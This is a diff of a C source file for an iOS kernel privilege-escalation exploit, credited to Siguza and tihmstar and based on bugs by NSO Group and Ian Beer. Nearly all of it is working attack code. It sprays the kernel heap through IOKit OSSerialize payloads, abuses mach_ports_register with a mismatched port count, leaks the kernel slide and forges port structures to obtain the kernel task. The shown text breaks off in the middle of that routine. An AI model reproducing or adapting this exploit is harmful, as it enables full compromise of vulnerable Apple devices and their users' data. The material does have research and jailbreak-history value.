|
|
@@ -0,0 +1,825 @@ |
|
|
// Bugs by NSO Group / Ian Beer. |
|
|
// Exploit by Siguza & tihmstar. |
|
|
// Thanks also to Max Bazaliy. |
|
|
|
|
|
#include <stdint.h> // uint32_t, uint64_t |
|
|
#include <stdio.h> // fprintf, stderr |
|
|
#include <string.h> // memcpy, memset, strncmp |
|
|
#include <unistd.h> // getpid |
|
|
#include <mach/mach.h> |
|
|
#include <stdlib.h> |
|
|
|
|
|
#include <IOKit/IOKitLib.h> |
|
|
#include <IOKit/iokitmig.h> |
|
|
#include <assert.h> |
|
|
#include <sched.h> |
|
|
|
|
|
#include "nexploit.h" |
|
|
#include "offsetfinder.h" |
|
|
#include "thread.h" |
|
|
|
|
|
#define SIZEOF_BYTES_MSG 384 |
|
|
|
|
|
enum |
|
|
{ |
|
|
kOSSerializeDictionary = 0x01000000U, |
|
|
kOSSerializeArray = 0x02000000U, |
|
|
kOSSerializeSet = 0x03000000U, |
|
|
kOSSerializeNumber = 0x04000000U, |
|
|
kOSSerializeSymbol = 0x08000000U, |
|
|
kOSSerializeString = 0x09000000U, |
|
|
kOSSerializeData = 0x0a000000U, |
|
|
kOSSerializeBoolean = 0x0b000000U, |
|
|
kOSSerializeObject = 0x0c000000U, |
|
|
|
|
|
kOSSerializeTypeMask = 0x7F000000U, |
|
|
kOSSerializeDataMask = 0x00FFFFFFU, |
|
|
|
|
|
kOSSerializeEndCollection = 0x80000000U, |
|
|
|
|
|
kOSSerializeMagic = 0x000000d3U, |
|
|
}; |
|
|
|
|
|
uintptr_t kslide = 0; |
|
|
mach_port_t fakeportData; |
|
|
|
|
|
|
|
|
#define MIG_MAX 0x1000 |
|
|
#define PUSH(v) \ |
|
|
do \ |
|
|
{ \ |
|
|
if(idx >= MIG_MAX / sizeof(uint32_t)) \ |
|
|
{ \ |
|
|
return KERN_NO_SPACE; \ |
|
|
} \ |
|
|
dict[idx] = (v); \ |
|
|
++idx; \ |
|
|
} while(0) |
|
|
|
|
|
|
|
|
/*** XXX ***/ |
|
|
// TODO: rework this to a lookup table/registry |
|
|
|
|
|
////#define KERNEL_TASK 0x8041200c //iPod5,1 |
|
|
//#define KERNEL_TASK 0x8041a00c //iPhone5,2 9.3.3 |
|
|
// |
|
|
//// easiest to grab in convert_task_suspension_token_to_port |
|
|
////#define IPC_SPACE_KERNEL 0x80456664 //iPod5,1 |
|
|
//#define IPC_SPACE_KERNEL 0x8045e798 //iPhone5,2 9.3.3 |
|
|
|
|
|
#define TASK_BSDINFO_OFFSET 0x200 |
|
|
#define BSDINFO_PID_OFFSET 0x8 |
|
|
/*** XXX ***/ |
|
|
|
|
|
|
|
|
static kern_return_t spray_data(const void *mem, size_t size, size_t num, mach_port_t *port) |
|
|
{ |
|
|
kern_return_t err, ret; |
|
|
static io_master_t master = MACH_PORT_NULL; |
|
|
if(master == MACH_PORT_NULL) |
|
|
{ |
|
|
ret = host_get_io_master(mach_host_self(), &master); |
|
|
if(ret != KERN_SUCCESS) |
|
|
{ |
|
|
return ret; |
|
|
} |
|
|
} |
|
|
|
|
|
if(size > SIZEOF_BYTES_MSG) |
|
|
{ |
|
|
return KERN_NO_SPACE; |
|
|
} |
|
|
|
|
|
uint32_t dict[MIG_MAX / sizeof(uint32_t)] = { 0 }; |
|
|
size_t idx = 0; |
|
|
|
|
|
PUSH(kOSSerializeMagic); |
|
|
PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1); |
|
|
PUSH(kOSSerializeSymbol | 4); |
|
|
PUSH(0x0079656b); // "key" |
|
|
PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num); |
|
|
|
|
|
for(size_t i = 0; i < num; ++i) |
|
|
{ |
|
|
PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | SIZEOF_BYTES_MSG); |
|
|
if(mem && size) |
|
|
{ |
|
|
memcpy(&dict[idx], mem, size); |
|
|
} |
|
|
memset((char*)&dict[idx] + size, 0, SIZEOF_BYTES_MSG - size); |
|
|
idx += SIZEOF_BYTES_MSG / 4; |
|
|
} |
|
|
|
|
|
ret = io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, idx * sizeof(uint32_t), MACH_PORT_NULL, NULL, 0, &err, port); |
|
|
if(ret == KERN_SUCCESS) |
|
|
{ |
|
|
ret = err; |
|
|
} |
|
|
return ret; |
|
|
} |
|
|
|
|
|
|
|
|
#define msgh_request_port msgh_remote_port |
|
|
#define msgh_reply_port msgh_local_port |
|
|
|
|
|
static kern_return_t r3gister(task_t task, mach_port_array_t init_port_set, mach_msg_type_number_t real_count, mach_msg_type_number_t fake_count) |
|
|
{ |
|
|
#pragma pack(4) |
|
|
typedef struct { |
|
|
mach_msg_header_t Head; |
|
|
mach_msg_body_t msgh_body; |
|
|
mach_msg_ool_ports_descriptor_t init_port_set; |
|
|
NDR_record_t NDR; |
|
|
mach_msg_type_number_t init_port_setCnt; |
|
|
} Request; |
|
|
typedef struct { |
|
|
mach_msg_header_t Head; |
|
|
NDR_record_t NDR; |
|
|
kern_return_t RetCode; |
|
|
mach_msg_trailer_t trailer; |
|
|
} Reply; |
|
|
#pragma pack() |
|
|
|
|
|
union { |
|
|
Request In; |
|
|
Reply Out; |
|
|
} Mess; |
|
|
Request *InP = &Mess.In; |
|
|
Reply *OutP = &Mess.Out; |
|
|
|
|
|
InP->msgh_body.msgh_descriptor_count = 1; |
|
|
InP->init_port_set.address = (void*)(init_port_set); |
|
|
InP->init_port_set.count = real_count; |
|
|
InP->init_port_set.disposition = 19; |
|
|
InP->init_port_set.deallocate = FALSE; |
|
|
InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; |
|
|
InP->NDR = NDR_record; |
|
|
InP->init_port_setCnt = fake_count; // was real_count |
|
|
InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); |
|
|
InP->Head.msgh_request_port = task; |
|
|
InP->Head.msgh_reply_port = mig_get_reply_port(); |
|
|
InP->Head.msgh_id = 3403; |
|
|
|
|
|
kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); |
|
|
if(ret == KERN_SUCCESS) |
|
|
{ |
|
|
ret = OutP->RetCode; |
|
|
} |
|
|
return ret; |
|
|
} |
|
|
|
|
|
#if 0 |
|
|
static kern_return_t io_registry_entry_get_property_bytes(mach_port_t registry_entry, io_name_t property_name, io_struct_inband_t data, mach_msg_type_number_t *dataCnt) |
|
|
{ |
|
|
|
|
|
#ifdef __MigPackStructs |
|
|
#pragma pack(4) |
|
|
#endif |
|
|
typedef struct { |
|
|
mach_msg_header_t Head; |
|
|
NDR_record_t NDR; |
|
|
mach_msg_type_number_t property_nameOffset; /* MiG doesn't use it */ |
|
|
mach_msg_type_number_t property_nameCnt; |
|
|
char property_name[128]; |
|
|
mach_msg_type_number_t dataCnt; |
|
|
} Request __attribute__((unused)); |
|
|
#ifdef __MigPackStructs |
|
|
#pragma pack() |
|
|
#endif |
|
|
|
|
|
#ifdef __MigPackStructs |
|
|
#pragma pack(4) |
|
|
#endif |
|
|
typedef struct { |
|
|
mach_msg_header_t Head; |
|
|
NDR_record_t NDR; |
|
|
kern_return_t RetCode; |
|
|
mach_msg_type_number_t dataCnt; |
|
|
char data[4096]; |
|
|
mach_msg_trailer_t trailer; |
|
|
} Reply __attribute__((unused)); |
|
|
#ifdef __MigPackStructs |
|
|
#pragma pack() |
|
|
#endif |
|
|
|
|
|
#ifdef __MigPackStructs |
|
|
#pragma pack(4) |
|
|
#endif |
|
|
typedef struct { |
|
|
mach_msg_header_t Head; |
|
|
NDR_record_t NDR; |
|
|
kern_return_t RetCode; |
|
|
mach_msg_type_number_t dataCnt; |
|
|
char data[4096]; |
|
|
} __Reply __attribute__((unused)); |
|
|
#ifdef __MigPackStructs |
|
|
#pragma pack() |
|
|
#endif |
|
|
/* |
|
|
* typedef struct { |
|
|
* mach_msg_header_t Head; |
|
|
* NDR_record_t NDR; |
|
|
* kern_return_t RetCode; |
|
|
* } mig_reply_error_t; |
|
|
*/ |
|
|
|
|
|
union { |
|
|
Request In; |
|
|
Reply Out; |
|
|
} Mess; |
|
|
|
|
|
Request *InP = &Mess.In; |
|
|
Reply *Out0P = &Mess.Out; |
|
|
|
|
|
mach_msg_return_t msg_result; |
|
|
unsigned int msgh_size; |
|
|
unsigned int msgh_size_delta; |
|
|
|
|
|
|
|
|
#ifdef __MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined |
|
|
kern_return_t check_result; |
|
|
#endif /* __MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined */ |
|
|
|
|
|
__DeclareSendRpc(2812, "io_registry_entry_get_property_bytes") |
|
|
|
|
|
InP->NDR = NDR_record; |
|
|
|
|
|
#ifdef USING_MIG_STRNCPY_ZEROFILL |
|
|
if (mig_strncpy_zerofill != NULL) { |
|
|
InP->property_nameCnt = mig_strncpy_zerofill(InP->property_name, property_name, 128); |
|
|
} else { |
|
|
#endif /* USING_MIG_STRNCPY_ZEROFILL */ |
|
|
InP->property_nameCnt = mig_strncpy(InP->property_name, property_name, 128); |
|
|
#ifdef USING_MIG_STRNCPY_ZEROFILL |
|
|
} |
|
|
#endif /* USING_MIG_STRNCPY_ZEROFILL */ |
|
|
|
|
|
msgh_size_delta = _WALIGN_(InP->property_nameCnt); |
|
|
msgh_size = (mach_msg_size_t)(sizeof(Request) - 128) + msgh_size_delta; |
|
|
InP = (Request *) ((pointer_t) InP + msgh_size_delta - 128); |
|
|
|
|
|
if (*dataCnt < 4096) |
|
|
InP->dataCnt = *dataCnt; |
|
|
else |
|
|
InP->dataCnt = 4096; |
|
|
|
|
|
InP = &Mess.In; |
|
|
InP->Head.msgh_bits = |
|
|
MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); |
|
|
/* msgh_size passed as argument */ |
|
|
InP->Head.msgh_request_port = registry_entry; |
|
|
InP->Head.msgh_reply_port = mig_get_reply_port(); |
|
|
InP->Head.msgh_id = 2812; |
|
|
InP->Head.msgh_reserved = 0; |
|
|
|
|
|
/* BEGIN VOUCHER CODE */ |
|
|
|
|
|
#ifdef USING_VOUCHERS |
|
|
if (voucher_mach_msg_set != NULL) { |
|
|
voucher_mach_msg_set(&InP->Head); |
|
|
} |
|
|
#endif // USING_VOUCHERS |
|
|
|
|
|
/* END VOUCHER CODE */ |
|
|
|
|
|
__BeforeSendRpc(2812, "io_registry_entry_get_property_bytes") |
|
|
msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); |
|
|
__AfterSendRpc(2812, "io_registry_entry_get_property_bytes") |
|
|
if (msg_result != MACH_MSG_SUCCESS) { |
|
|
__MachMsgErrorWithoutTimeout(msg_result); |
|
|
{ return msg_result; } |
|
|
} |
|
|
|
|
|
|
|
|
#if defined(__MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined) |
|
|
check_result = __MIG_check__Reply__io_registry_entry_get_property_bytes_t((__Reply__io_registry_entry_get_property_bytes_t *)Out0P); |
|
|
if (check_result != MACH_MSG_SUCCESS) |
|
|
{ return check_result; } |
|
|
#endif /* defined(__MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined) */ |
|
|
|
|
|
if (Out0P->dataCnt > *dataCnt) { |
|
|
(void)memcpy((char *) data, (const char *) Out0P->data, *dataCnt); |
|
|
*dataCnt = Out0P->dataCnt; |
|
|
{ return MIG_ARRAY_TOO_LARGE; } |
|
|
} |
|
|
(void)memcpy((char *) data, (const char *) Out0P->data, Out0P->dataCnt); |
|
|
|
|
|
*dataCnt = Out0P->dataCnt; |
|
|
|
|
|
return KERN_SUCCESS; |
|
|
} |
|
|
#endif |
|
|
|
|
|
typedef struct __attribute__((__packed__)) { |
|
|
uint32_t ip_bits; |
|
|
uint32_t ip_references; |
|
|
struct __attribute__((__packed__)) { |
|
|
uint32_t data; |
|
|
uint32_t pad; |
|
|
uint32_t type; |
|
|
} ip_lock; |
|
|
struct __attribute__((__packed__)) { |
|
|
struct __attribute__((__packed__)) { |
|
|
struct __attribute__((__packed__)) { |
|
|
uint32_t flags; |
|
|
uintptr_t waitq_interlock; |
|
|
uint64_t waitq_set_id; |
|
|
uint64_t waitq_prepost_id; |
|
|
struct __attribute__((__packed__)) { |
|
|
uintptr_t next; |
|
|
uintptr_t prev; |
|
|
} waitq_queue; |
|
|
} waitq; |
|
|
uintptr_t messages; |
|
|
natural_t seqno; |
|
|
natural_t receiver_name; |
|
|
uint16_t msgcount; |
|
|
uint16_t qlimit; |
|
|
} port; |
|
|
uintptr_t imq_klist; |
|
|
} ip_messages; |
|
|
natural_t ip_flags; |
|
|
uintptr_t ip_receiver; |
|
|
uintptr_t ip_kobject; |
|
|
uintptr_t ip_nsrequest; |
|
|
uintptr_t ip_pdrequest; |
|
|
uintptr_t ip_requests; |
|
|
uintptr_t ip_premsg; |
|
|
uint64_t ip_context; |
|
|
natural_t ip_mscount; |
|
|
natural_t ip_srights; |
|
|
natural_t ip_sorights; |
|
|
} kport_t; |
|
|
|
|
|
#define LOG(str, args...) \ |
|
|
do \ |
|
|
{ \ |
|
|
fprintf(stderr, str " [%u]\n", ##args, __LINE__); \ |
|
|
} while(0) |
|
|
|
|
|
#define OUT_LABEL(label, code...) \ |
|
|
do \ |
|
|
{ \ |
|
|
ret = (code); \ |
|
|
if(ret != KERN_SUCCESS) \ |
|
|
{ \ |
|
|
LOG(#code ": %s (%u)", mach_error_string(ret), ret); \ |
|
|
goto label; \ |
|
|
} \ |
|
|
} while(0) |
|
|
|
|
|
#define OUT(code...) OUT_LABEL(out, ##code) |
|
|
|
|
|
|
|
|
uint32_t copyinPort(kport_t *kport, int cnt){ |
|
|
|
|
|
kern_return_t err, ret; |
|
|
task_t self = mach_task_self(); |
|
|
io_service_t service = MACH_PORT_NULL; |
|
|
io_connect_t client = MACH_PORT_NULL; |
|
|
io_iterator_t it = MACH_PORT_NULL; |
|
|
io_object_t o = MACH_PORT_NULL; |
|
|
|
|
|
mach_port_t data; |
|
|
OUT(spray_data(NULL, 0, 5, &data)); |
|
|
|
|
|
service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleMobileFileIntegrity")); |
|
|
if(!MACH_PORT_VALID(service)) |
|
|
{ |
|
|
LOG("Invalid service"); |
|
|
goto out; |
|
|
} |
|
|
char tst[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; |
|
|
|
|
|
kport_t *kpbuf = (kport_t*)(tst+4); |
|
|
for (int i=0; i<cnt; i++) { |
|
|
kpbuf[i] = kport[i]; |
|
|
} |
|
|
|
|
|
const char xml[] = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>"; |
|
|
OUT(io_service_open_extended(service, self, 0, NDR_record, (char*)xml, sizeof(xml), &err, &client)); |
|
|
|
|
|
OUT(IORegistryEntryGetChildIterator(service, "IOService", &it)); |
|
|
|
|
|
bool found = false; |
|
|
while((o = IOIteratorNext(it)) != MACH_PORT_NULL && !found) |
|
|
{ |
|
|
uintptr_t buf[16]; |
|
|
uint32_t size = (uint32_t)sizeof(buf); |
|
|
ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", (char*)buf, &size); |
|
|
if(ret == KERN_SUCCESS) |
|
|
{ |
|
|
mach_port_deallocate(self, data); |
|
|
data = MACH_PORT_NULL; |
|
|
//OUT(spray_data(&kport, sizeof(kport), 16, &data)); |
|
|
OUT(spray_data(tst, sizeof(tst), 10, &fakeportData)); |
|
|
|
|
|
kslide = ((buf[9] & 0xFFF00000) + 0x1000) -0x80001000; |
|
|
return (uint32_t)buf[4] - 0x78; |
|
|
|
|
|
/* BREAKPOINT HERE */ |
|
|
|
|
|
found = true; |
|
|
} |
|
|
IOObjectRelease(o); |
|
|
o = MACH_PORT_NULL; |
|
|
} |
|
|
|
|
|
out:; |
|
|
if(it != MACH_PORT_NULL) |
|
|
{ |
|
|
IOObjectRelease(it); |
|
|
it = MACH_PORT_NULL; |
|
|
} |
|
|
if(client != MACH_PORT_NULL) |
|
|
{ |
|
|
IOObjectRelease(client); |
|
|
client = MACH_PORT_NULL; |
|
|
} |
|
|
if(service != MACH_PORT_NULL) |
|
|
{ |
|
|
IOObjectRelease(service); |
|
|
service = MACH_PORT_NULL; |
|
|
} |
|
|
if(data != MACH_PORT_NULL) |
|
|
{ |
|
|
mach_port_deallocate(self, data); |
|
|
data = MACH_PORT_NULL; |
|
|
} |
|
|
return 0; |
|
|
} |
|
|
|
|
|
#pragma pack(4) |
|
|
typedef struct { |
|
|
mach_msg_header_t Head; |
|
|
mach_msg_body_t msgh_body; |
|
|
mach_msg_ool_ports_descriptor_t init_port_set[]; |
|
|
} Request; |
|
|
#pragma pack() |
|
|
|
|
|
void release_port_ptrs(mach_port_t port){ |
|
|
char req[sizeof(Request) + 5 * sizeof(mach_msg_ool_ports_descriptor_t) + sizeof(mach_msg_trailer_t)]; |
|
|
if (mach_msg(req, MACH_RCV_MSG, 0, sizeof(req), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL) != KERN_SUCCESS) |
|
|
printf("[!] Error mach_recv\n"); |
|
|
} |
|
|
|
|
|
mach_port_t kp = 0; |
|
|
mach_port_t spray_ports(mach_msg_type_number_t number_port_descs) { |
|
|
if (!kp) { |
|
|
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &kp); |
|
|
mach_port_insert_right(mach_task_self(), kp, kp, MACH_MSG_TYPE_MAKE_SEND); |
|
|
} |
|
|
|
|
|
mach_port_t mp = 0; |
|
|
|
|
|
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &mp); |
|
|
mach_port_insert_right(mach_task_self(), mp, mp, MACH_MSG_TYPE_MAKE_SEND); |
|
|
|
|
|
assert(0 == send_ports(mp, kp, 2, number_port_descs)); |
|
|
|
|
|
return mp; |
|
|
} |
|
|
|
|
|
kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs) |
|
|
{ |
|
|
mach_port_t init_port_set[num]; |
|
|
for(size_t i = 0; i < num; ++i) |
|
|
{ |
|
|
init_port_set[i] = payload; |
|
|
} |
|
|
|
|
|
typedef struct { |
|
|
mach_msg_header_t Head; |
|
|
mach_msg_body_t msgh_body; |
|
|
mach_msg_ool_ports_descriptor_t init_port_set[0]; |
|
|
} Request; |
|
|
|
|
|
char buf[sizeof(Request) + number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t)]; |
|
|
Request *InP = (Request*)buf; |
|
|
InP->msgh_body.msgh_descriptor_count = number_port_descs; |
|
|
for (int i = 0; i < number_port_descs; i++) { |
|
|
InP->init_port_set[i].address = (void *)(init_port_set); |
|
|
InP->init_port_set[i].count = num; |
|
|
InP->init_port_set[i].disposition = 19; |
|
|
InP->init_port_set[i].deallocate = FALSE; |
|
|
InP->init_port_set[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR; |
|
|
} |
|
|
|
|
|
InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE); |
|
|
/* msgh_size passed as argument */ |
|
|
InP->Head.msgh_request_port = target; |
|
|
InP->Head.msgh_reply_port = 0; |
|
|
InP->Head.msgh_id = 1337; |
|
|
|
|
|
return mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); |
|
|
} |
|
|
|
|
|
uint32_t spray_data2(char *data, size_t datasize, unsigned count) |
|
|
{ |
|
|
kern_return_t kr = 0, err = 0; |
|
|
mach_port_t master = MACH_PORT_NULL; |
|
|
io_service_t serv = 0; |
|
|
io_connect_t conn = 0; |
|
|
|
|
|
|
|
|
char dict[4096+512]; |
|
|
uint32_t idx = 0; // index into our data |
|
|
|
|
|
#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0) |
|
|
|
|
|
WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning |
|
|
|
|
|
WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 1)); // dictionary with two entries |
|
|
|
|
|
WRITE_IN(dict, (kOSSerializeSymbol | 4)); // key with symbol, 3 chars + NUL byte |
|
|
WRITE_IN(dict, (0x00414141)); // 'AAA' key + NUL byte in little-endian |
|
|
|
|
|
WRITE_IN(dict, (kOSSerializeArray | kOSSerializeEndCollection | count)); // key with symbol, 3 chars + NUL byte |
|
|
|
|
|
for (int i=0; i<count; i++) { |
|
|
WRITE_IN(dict, ((i == count-1 ? kOSSerializeEndCollection : 0) | kOSSerializeData | datasize)); // key with symbol, 3 chars + NUL byte |
|
|
memcpy((char*)dict+idx, data, datasize); |
|
|
idx += datasize; |
|
|
} |
|
|
|
|
|
host_get_io_master(mach_host_self(), &master); // get iokit master port |
|
|
|
|
|
serv = IOServiceGetMatchingService(master, IOServiceMatching("AppleMobileFileIntegrity")); |
|
|
|
|
|
kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn); |
|
|
if (kr != KERN_SUCCESS) |
|
|
return printf("failed to spawn UC\n"),-1; |
|
|
return 0; |
|
|
} |
|
|
|
|
|
static kern_return_t prepare_ptr(uint32_t *dict, size_t *size, uintptr_t ptr, size_t num) |
|
|
{ |
|
|
size_t idx = 0; |
|
|
|
|
|
PUSH(kOSSerializeMagic); |
|
|
PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1); |
|
|
PUSH(kOSSerializeSymbol | 4); |
|
|
PUSH(0x0079656b); // "key" |
|
|
PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num); |
|
|
|
|
|
for(size_t i = 0; i < num; ++i) |
|
|
{ |
|
|
PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | 8); |
|
|
PUSH(ptr); |
|
|
PUSH(ptr); |
|
|
} |
|
|
|
|
|
*size = idx * sizeof(uint32_t); |
|
|
return KERN_SUCCESS; |
|
|
} |
|
|
|
|
|
static kern_return_t spray(const void *dict, size_t size, mach_port_t *port) |
|
|
{ |
|
|
kern_return_t err, ret; |
|
|
static io_master_t master = MACH_PORT_NULL; |
|
|
if(master == MACH_PORT_NULL) |
|
|
{ |
|
|
ret = host_get_io_master(mach_host_self(), &master); |
|
|
if(ret != KERN_SUCCESS) |
|
|
{ |
|
|
return ret; |
|
|
} |
|
|
} |
|
|
|
|
|
ret = io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, (uint32_t)size, MACH_PORT_NULL, NULL, 0, &err, port); |
|
|
if(ret == KERN_SUCCESS) |
|
|
{ |
|
|
ret = err; |
|
|
} |
|
|
return ret; |
|
|
} |
|
|
|
|
|
static mach_port_t sanity_port = MACH_PORT_NULL; |
|
|
|
|
|
task_t get_kernel_task(void){ |
|
|
kern_return_t ret; |
|
|
|
|
|
OUT(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sanity_port)); |
|
|
OUT(mach_port_insert_right(mach_task_self(), sanity_port, sanity_port, MACH_MSG_TYPE_MAKE_SEND)); |
|
|
mach_port_limits_t limits = { .mpl_qlimit = 1000 }; |
|
|
OUT(mach_port_set_attributes(mach_task_self(), sanity_port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT)); |
|
|
|
|
|
suspend_all_threads(); |
|
|
update_current_thread_policy(); |
|
|
|
|
|
printf("starting exploit\n"); |
|
|
|
|
|
char data[16]; |
|
|
kport_t kport[2] = {}; |
|
|
uintptr_t *ptr = (uintptr_t*)(kport + 1); |
|
|
kport->ip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK |
|
|
kport->ip_references = 100; |
|
|
kport->ip_lock.type = 0x11; |
|
|
kport->ip_messages.port.qlimit = 777; |
|
|
kport->ip_receiver = 0x12345678; // dummy |
|
|
kport->ip_srights = 99; |
|
|
|
|
|
|
|
|
void *big_buf = malloc(MIG_MAX), |
|
|
*small_buf = malloc(MIG_MAX); |
|
|
size_t big_size = 0, |
|
|
small_size = 0; |
|
|
|
|
|
|
|
|
#define PORTS_NUM 1024 |
|
|
#define PORTS_NUM_PRESPRAY 100 |
|
|
mach_port_t fp[PORTS_NUM]; |
|
|
mach_port_t postSpray; |
|
|
|
|
|
usleep(10000); |
|
|
sched_yield(); |
|
|
uint32_t kptr = copyinPort(kport,2); |
|
|
|
|
|
printf("0x%08x\n",kptr); |
|
|
*(uint32_t*)(data) = kptr; |
|
|
*(uint32_t*)(data+4) = kptr; |
|
|
OUT(prepare_ptr(big_buf, &big_size, kptr, 256)); |
|
|
OUT(prepare_ptr(small_buf, &small_size, kptr, 32)); |
|
|
|
|
|
again: |
|
|
sched_yield(); |
|
|
// for (int i=0; i<PORTS_NUM_PRESPRAY; i++) { |
|
|
// spray_ports(1024); |
|
|
// } |
|
|
// spray_data2(data, 8, 256); |
|
|
// spray_data2(data, 8, 256); |
|
|
// spray_data2(data, 8, 256); |
|
|
// spray_data2(data, 8, 256); |
|
|
// spray_data2(data, 8, 256); |
|
|
// spray_data2(data, 8, 256); |
|
|
for(size_t i = 0; i < PORTS_NUM_PRESPRAY; ++i){ |
|
|
mach_port_t dummy; |
|
|
spray(big_buf, big_size, &dummy); |
|
|
} |
|
|
|
|
|
sched_yield(); |
|
|
for (int i = 0; i < PORTS_NUM; i++) { |
|
|
fp[i] = spray_ports(1); |
|
|
mach_port_t dummy; |
|
|
spray(small_buf, small_size, &dummy); |
|
|
// spray_data2(data, 8, 32); |
|
|
} |
|
|
|
|
|
sched_yield(); |
|
|
for (int i = 0; i < PORTS_NUM; i++) { |
|
|
release_port_ptrs(fp[i]); |
|
|
} |
|
|
|
|
|
mach_port_t arr[2] = {MACH_PORT_NULL,MACH_PORT_NULL}; |
|
|
r3gister(mach_task_self(),arr,2,3); |
|
|
printf("r3gister done\n"); |
|
|
|
|
|
mach_port_t *arrz=0; |
|
|
mach_msg_type_number_t sz = 3; |
|
|
mach_ports_lookup(mach_task_self(), &arrz, &sz); |
|
|
printf("done %x %x %x %x\n", arrz[0], arrz[1], arrz[2], kp); |
|
|
mach_port_t fake_port = arrz[2]; |
|
|
if(!MACH_PORT_VALID(fake_port)) |
|
|
{ |
|
|
printf("Exploit failed, retrying...\n"); |
|
|
goto again; |
|
|
} |
|
|
|
|
|
kport[0].ip_kobject = kptr + sizeof(*kport) - TASK_BSDINFO_OFFSET; |
|
|
*ptr = find_kerneltask() + kslide - BSDINFO_PID_OFFSET; |
|
|
|
|
|
char tst[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; |
|
|
kport_t *kpbuf = (kport_t*)(tst+4); |
|
|
for (int i=0; i<2; i++) { |
|
|
kpbuf[i] = kport[i]; |
|
|
} |
|
|
usleep(10000); |
|
|
sched_yield(); |
|
|
mach_port_destroy(mach_task_self(), fakeportData); |
|
|
OUT(spray_data(tst, sizeof(tst), 10, &fakeportData)); |
|
|
printf("done realloc\n"); |
|
|
|
|
|
|
|
|
uintptr_t kernel_task_addr = 0; |
|
|
OUT(pid_for_task(fake_port, &kernel_task_addr)); |
|
